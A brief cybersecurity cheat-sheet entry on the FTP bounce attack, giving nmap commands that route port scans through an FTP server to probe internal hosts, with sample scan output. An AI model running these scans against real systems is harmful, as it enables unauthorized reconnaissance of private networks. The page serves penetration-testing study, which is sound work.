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# FTP Bounce Attack
* a network attack that uses FTP servers to deliver outbound traffic to another device on the network.
* The attacker uses a `PORT` command to trick the FTP connection into running commands and getting information from a device other than the intended server
### Attack
* [Nmap](/cybersecurity/nmap.md)
```shell-session
nmap -Pn -v -n -p80 -b anonymous:password@10.10.110.213 172.17.0.2
```
```shell-session
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-27 04:55 EDT
Resolved FTP bounce attack proxy to 10.10.110.213 (10.10.110.213).
Attempting connection to ftp://anonymous:password@10.10.110.213:21
Connected:220 (vsFTPd 3.0.3)
Login credentials accepted by FTP server!
Initiating Bounce Scan at 04:55
FTP command misalignment detected ... correcting.
Completed Bounce Scan at 04:55, 0.54s elapsed (1 total ports)
Nmap scan report for 172.17.0.2
Host is up.
PORT STATE SERVICE
80/tcp open http
```
```
nmap -b :@
```
```
nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP
```
```
nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443
```
## Reference
*
*